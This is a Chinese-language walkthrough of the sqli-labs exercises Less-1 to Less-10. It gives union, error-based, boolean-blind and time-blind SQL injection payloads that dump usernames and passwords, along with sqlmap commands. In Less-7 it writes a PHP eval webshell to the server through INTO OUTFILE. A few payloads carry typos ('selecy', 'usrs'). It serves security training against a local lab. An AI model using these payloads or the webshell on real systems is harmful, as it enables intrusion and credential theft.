Less-1

进入Less-1关卡,提示输入id为一个数值
1

尝试提交id=1,回显login name 和password
2

尝试提交id=1’,回显报错,说明存在注入点,根据回显内容’1’’ LIMIT 0,1(外面一层单引号表示引用,把它去掉),可判断提交的数据类型为字符型,由此可猜测sql语句:select * from 某表 where id='某个值' limit 0,1
3

接下来利用order by判断表中有几列,提交?id=1' order by 3 --+回显正常,提交?id=1' order by 4 --+回显报错,可判断表中有3列
然后利用联合查询看看显示位,提交id=-1' union select 1,2,3 --+,(—+表示注释,目的是把字符数据的后一个单引号及后面的语句注释掉,以免影响)有以下回显,其中id=-1是为了让前一个子句查不出来,才能让后一个子句的查询结果显示
4

可判断显示位为第二,第三列,然后提交id=-1' union select 1,database(),3 --+,利用database()函数返回当前数据库名security
5

知道了数据库名,就该爆表名了,提交id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+,得到如下表名显示在login name一栏。其中,group_concat函数将相同行的指定列的数据连在一起,如果不用该函数,只能显示一个数据,满足不了我们的需求,所以用group_concat函数将所有数据显示
6

接下来我们就想看啥看啥了,users表中应该存了用户名和密码,那就看看这个表的列名,提交?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
7

看到最后两列是username和password,已知了表名、列名,接下来就该看这两列的数据了,提交id=-1' union select 1,group_concat(username,0x3a,password),3 from users --+,其中0x3a是十六进制字符串冒号,最终回显我用冒号作为用户名和密码的分隔符
8

如图,在login name位置显示出所有用户名和密码

Less-2

与Less-1类似,首先提交?id=1'看看
9

回显报错里有‘ LIMIT 0,1,可以看到左边多了一个单引号,可以猜测id应该是数值类型,sql语句应为:select * from 某表 where id=某个值 limit 0,1。然后和Less-1一样,利用order by 判断出有3列,然后构造?id=-1 union select 1,2,3可以看到显示位为2,3
10

写-1的原因也和上面一样,让第一个查询语句查不出来。然后构造?id=-1 union select 1,database(),3 --+
11

可以看到数据也是和上面一样的,仍是security,接下来查表,构造?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
12

可以看到表名也是和上题一样,锁定目标users,构造?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+,由此查出列名username和password,然后看具体数据,构造?id=-1 union select 1,group_concat(username,0x3a,password),3 from users
13

看到了由冒号分隔的所有的用户名和密码

Less-3

和前两题大同小异,先提交个1,成功回显,再提交1’,报错,回显的错误信息为:’1’’) LIMIT 0,1
可以看到1的右边有两个单引号,其中一个是我们输的,另一个则是和左边那个配对的,并且有个右括号,由此可以猜测sql语句为:select * from 某表 where id=('某个值') limit 0,1。和Less-1比多了一对括号,只要注意闭合它就好,其他操作一样
利用order by判断出仍是3列,联合查询显示位为2,3,然后看一下当前数据库,提交?id=-1') union select 1,database(),3--+
14

当前数据库为security,然后查表名,提交?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
15

可以看到也是和前面一样,估计就这一组数据吧。表名知道了查列名,提交?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
16

然后提交?id=-1') union select 1,group_concat(username,0x3a,password),3 from users--+
17

效果如图

Less-4

先提交个1,成功回显,再提交1’,成功回显,看来和前面不一样了,提交1”,报错,信息为:”1””) LIMIT 0,1
18

1的右边多了个双引号,是我们输入的,由此猜测sql语句为:select * from 某表 where id=("某个值") limit 0,1,接下来的操作和前面一模一样,只要注意闭合括号就好
利用order by判断出仍是3列,联合查询显示位为2,3,然后看一下当前数据库,提交?id=-1") union select 1,database(),3--+
得知当前数据库为security,然后查表名,提交?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
表名知道了查列名,提交?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
然后提交?id=-1") union select 1,group_concat(username,0x3a,password),3 from users--+
效果如图
19

Less-5

根据题目,考察的应该是双注入,但不知怎么我这里双注入没法实现,所以只好用报错注入。
先输入1试试
20

成功登录,但不显示具体数据。联合查询注入失效了。再给个1’
21

有报错提示,且为:’1’’ LIMIT 0,1,很容易判断出是字符型,构造?id=1' --+,成功登录。接下来报错注入,构造?id=1' and extractvalue(1,concat(0x7e,(select database())))--+
22

成功爆出数据库名,然后构造?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
23

成功爆出表名,然后构造?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,32)))--+
24

成功爆出列名,然后构造?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),1,32)))--+
25

目的达成

Less-6

此题和Less-5类似这里不多赘述。
先输入?id=1,提示you are in,然后加一个单引号,不报错,换双引号,报错了
26

报错信息为”1”” LIMIT 0,1,由此可猜测sql语句:select * from 某表 where id="某个值" limit 0,1,然后把后面注释掉,注意闭合,接下来的操作和Less-5一模一样
爆数据库名:?id=1" and extractvalue(1,concat(0x7e,(select database())))--+
爆表名:?id=1" and extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_name='users'),1,32)))--+
爆列名:?id=1" and extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,32)))--+
爆数据:?id=1" and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),1,32)))--+
27

看个效果。

Less-7

输入id=1后提示use outfile,说明此题用文件读写。
接下来尝试闭合,加一个单引号并注释,错误;再加一个括号,错误;再加一个括号,可以了(别问我怎么知道的,猜的)
45

into outfile “文件目录”
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE 权限,才能使用此语法。file_name 不能是一个已经存在的文件。
于是我们可以写入一句话木马,构造?id=1')) union selecy 1,2,"<?php @eval($_POST[shell]);?>" into outfile "D:\\phpStudy_64\\phpstudy_pro\\WWW\\sqli\\Less-7\\a.php"--+注意路径那里要用两个反斜杠。
46

可以看到确实生成了,接下来中国蚁剑连接即可。

Less-8

从标题可以看出这是布尔盲注。先提交id=1试试
28

可以看到成功的回显就是一个you are in,没有具体的东西。再构造id=1’试试
29

换成其他符号也是这样,可见,错误状态就是啥也没有,再构造?id=1' --+,又是you are in,说明id的类型是字符型,且页面只有两种回显状态,这就是布尔注入的特点。构造?id=-1'or 1--+,这样语句的正确与否就由1那个位置的语句决定。
下面查表名,构造?id=-1'or (select ascii(substr((group_concat(table_name)),1,1)) from information_schema.tables where table_schema=database())=1--+
通过修改后面那个1的值并根据页面回显判断是否正确,通过修改substr()函数第二个参数来切换第几个字母。但是不知道所查信息的长度就很不方便,于是我们可以利用length()函数来判断长度,构造?id=-1'or (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())>1--+,通过修改后面那个1的值利用二分法我们很快就能确定长度。
30

大于1时可以
31

大于100时不行,接下来取个50,依此类推,最终大于28可以大于29不行,确定长度为29
长度知道了查表名就有数了,?id=-1'or (select ascii(substr((group_concat(table_name)),1,1)) from information_schema.tables where table_schema=database())=?--+通过更改?的值一个个试出哪个字符正确。
32

第一个字母ASCII码为101时正确,即第一个字母为e,后续字母以此类推,更改substr()函数的第二个参数即可。当然这样很慢,我们也可以利用不等号(大于或小于)结合二分法快速定位。
最终确定目标表users,下面查列名,构造?id=-1'or (select ascii(substr((group_concat(column_name)),1,1)) from information_schema.columns where table_schema=database() and table_name='users')=?--+
修改方法同上。
确定列名和表名后查具体数据,构造?id=-1'or (select ascii(substr((group_concat(username,0x3a,password)),1,1)) from users)=?--+修改方法同上。
最后补充一点,我们其实也可以利用burpsuite抓包,借助bp里面的爆破功能对我上面所说的两个位置进行爆破。最后将ascii码转为对应字符即可。

Less-9

在输入id=1后回显you are in ,然后无论怎么尝试,不管是后面加单引号,双引号,还是括号页面都只有这一种回显状态。因此可以进行时间盲注。构造?id=1' or sleep(1)--+,只要语句正确就会执行sleep,所以可以根据页面延迟来判断我们需要闭合的符号是什么,—+把后面注释掉排除干扰。
33

可以看到页面处于加载状态,语句被执行了,说明我们的单引号成功闭合了。接下来就可以在or后面做手脚,构造?id=1' or if((select ascii(substr(group_concat(table_name),1,1)) from information_schema.tables where table_schema=database())=0,sleep(1),0)--+
通过不断地修改if函数第一个条件判断ascii码是多少,长度的探测类似Less-8里面可以查出。
然后查列名,构造?id=1' or if((select ascii(substr(group_concat(column_name),1,1)) from information_schema.columns where table_schema=database() and table_name='users')=0,sleep(1),0)--+
最后查具体数据,构造?id=1' or if((select ascii(substr(group_concat(username,0x3a,password),1,1)) from users)=0,sleep(1),0)--+
可见纯手工注入会很慢,但也无法利用bp爆破,所以就可以利用工具sqlmap
首先探测一下这个url,命令为:sqlmap -u 此处是具体的url然后回车确定
34

可以看到探测出两种注入类型,布尔盲注和时间盲注,虽然我也不知道这一关怎么布尔盲注,还能看到背后的数据库mysql。然后探测当前数据库,命令为:sqlmap -u 此处是具体的url -current-db
35

探测出当前数据库是security,然后看表,命令为:sqlmap -u 此处是具体的url -D security -tables。其中-D指定数据库。
36

可以看到security数据库中有四张表,我们选定users,探测列,命令为:sqlmap -u 此处是具体的url -D security -T users -columns。其中-T指定表
37

有三个字段,接下来看具体数据,命令为:sqlmap -u 此处是具体的url -D security -T usrs -C "id,username,password" -dump其中-C指定列,列名要放在双引号里面,中间逗号隔开。
38

至此探测出目标内容,这也是sqlmap的基本使用方法。

Less-10

在输入id=1后回显you are in,然后无论怎么尝试都只有这一种状态,有了前面的经验,我们直接构造?id=1' or sleep(1)--+,发现页面无延迟,说明不是单引号,然后尝试?id=1" or sleep(1)--+
39

可以看到有延迟了,说明是双引号闭合。接下来的操作就和Less-9一模一样了:
查表名:?id=1" or if((select ascii(substr(group_concat(table_name),1,1)) from information_schema.tables where table_schema=database())=0,sleep(1),0)--+
查列名:?id=1" or if((select ascii(substr(group_concat(column_name),1,1)) from information_schema.columns where table_schema=database() and table_name='users')=0,sleep(1),0)--+
查具体数据:?id=1" or if((select ascii(substr(group_concat(username,0x3a,password),1,1)) from users)=0,sleep(1),0)--+
下面利用sqlmap进行探测,首先探测注入点,命令为sqlmap -u 此处是具体的url,当然有时候探测不出来,可以在后面加上-level 3指定一下探测等级,数字越大越详细,最高为5。
40

探测成功,下面看数据库,命令为:sqlmap -u 此处是具体的url -current-db

41

探测出当前数据库是security,然后看表,命令为:sqlmap -u 此处是具体的url -D security -tables

42

可以看到security数据库中有四张表,我们选定users,探测列,命令为:sqlmap -u 此处是具体的url -D security -T users -columns

43

有三个字段,接下来看具体数据,命令为:sqlmap -u 此处是具体的url -D security -T usrs -C "id,username,password" -dump

44

大功告成